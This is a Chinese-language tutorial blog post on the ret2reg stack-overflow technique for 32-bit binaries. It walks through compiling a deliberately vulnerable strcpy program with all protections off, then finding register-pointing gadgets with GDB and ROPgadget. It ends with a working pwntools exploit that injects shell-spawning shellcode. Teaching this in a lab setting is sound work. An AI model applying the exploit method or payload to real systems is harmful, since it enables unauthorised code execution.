中级栈溢出02 ret2reg

ret2reg

目的:

绕过ASLR

原理

    查看栈溢出返回时哪个寄存器指向缓冲区空间。
    查找对应的call 寄存器或者jmp 寄存器指令,将EIP设置为该指令地址。
    将寄存器所指向的空间上注入shellcode(确保该空间是可以执行的,通常是栈上的)

利用思路

    分析和调试汇编,查看溢出函数返回时哪个寄存器指向缓冲区地址
    向寄存器指向的缓冲区中注入shellcode
    查找call 该寄存器或者jmp 该寄存器指令,并将该指令地址覆盖ret

防御方法

在函数ret之前,将所有赋过值的寄存器全部复位,清0,以避免此类漏洞

Example

此类漏洞常见于strcpy字符串拷贝函数中。

#include <stdio.h>
#include <string.h>
void vuln(char *input) {
        char buffer[512];
        strcpy(buffer, input);
}


int main(int argc, char **argv) {
        vuln(argv[1]);
        return 0;
}

编译指令:

gcc -m32 -z execstack -z norelro -fno-stack-protector -no-pie -fno-pie -o ret2reg ret2reg.c

文件分析:

gdb-peda$ checksec
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.

CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : disabled

因为没开启PIE所以代码段的位置是固定的。

看一下溢出位置的汇编指令:

gdb-peda$ disassemble vuln
Dump of assembler code for function vuln:
   0x08049196 <+0>:     endbr32
   0x0804919a <+4>:     push   ebp
   0x0804919b <+5>:     mov    ebp,esp
   0x0804919d <+7>:     push   ebx
   0x0804919e <+8>:     sub    esp,0x204
   0x080491a4 <+14>:    call   0x804920d <__x86.get_pc_thunk.ax>
   0x080491a9 <+19>:    add    eax,0x2103
   0x080491ae <+24>:    sub    esp,0x8
   0x080491b1 <+27>:    push   DWORD PTR [ebp+0x8]
   0x080491b4 <+30>:    lea    edx,[ebp-0x208]
   0x080491ba <+36>:    push   edx
   0x080491bb <+37>:    mov    ebx,eax
   0x080491bd <+39>:    call   0x8049060 <strcpy@plt>
   0x080491c2 <+44>:    add    esp,0x10
   0x080491c5 <+47>:    nop
   0x080491c6 <+48>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x080491c9 <+51>:    leave
   0x080491ca <+52>:    ret
End of assembler dump.

在leave指令下断点,并且设置args为123456。

gdb-peda$ set args 123456
gdb-peda$ b *vuln+51
Breakpoint 1 at 0x80491c9: file ret2reg.c, line 6.

我们重点观察寄存器的内容:

[----------------------------------registers-----------------------------------]
EAX: 0xffffcd20 ("123456")
EBX: 0xf7e23e34 --> 0x223d2c (',="')
ECX: 0xffffd21c ("123456")
EDX: 0xffffcd20 ("123456")
ESI: 0x8049220 (<__libc_csu_init>:      endbr32)
EDI: 0xf7ffcb80 --> 0x0 
EBP: 0xffffcf28 --> 0xffffcf48 --> 0x0 
ESP: 0xffffcd20 ("123456")
EIP: 0x80491c9 (<vuln+51>:      leave)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)

我们刚才输入的数据是123456,可以看到有四个寄存器指向了缓冲区:eax、ecx、edx、esp

由于esp是栈顶指针一定会变所以不考虑。

我们打算向buf里注入shellcode 然后跳转到shellcode执行,所以我们看看有没有jmp eax/ecx/edx或者call eax/ecx/edx。

┌──(hath㉿kali)-[~/Desktop/CTF/ret2reg]
└─$ ROPgadget --binary ret2reg --only "call|jmp" | egrep "eax"
0x080490a6 : call dword ptr [eax + 0x51]
0x0804909f : call dword ptr [eax - 0x73]
0x0804901d : call eax
                                                                 
┌──(hath㉿kali)-[~/Desktop/CTF/ret2reg]
└─$ ROPgadget --binary ret2reg --only "call|jmp" | egrep "ecx"
                                                                 
┌──(hath㉿kali)-[~/Desktop/CTF/ret2reg]
└─$ ROPgadget --binary ret2reg --only "call|jmp" | egrep "edx"
0x080491b9 : call dword ptr [edx - 0x77]
0x0804914d : call edx
                                            

我们发现有两个address可以使用call_eax = 0x0804901d,call_edx = 0x0804914d。

exp:

from pwn import *

shellcode = asm(shellcraft.sh())
call_eax = p32(0x0804901d)
payload = flat([shellcode , b'a'* (0x20c - len(shellcode) ),call_eax])
io = process(argv=[ "./ret2reg",payload])
io.interactive()

 

posted @ 2024-07-14 22:57  24K砖家  阅读(126)  评论(3)    收藏  举报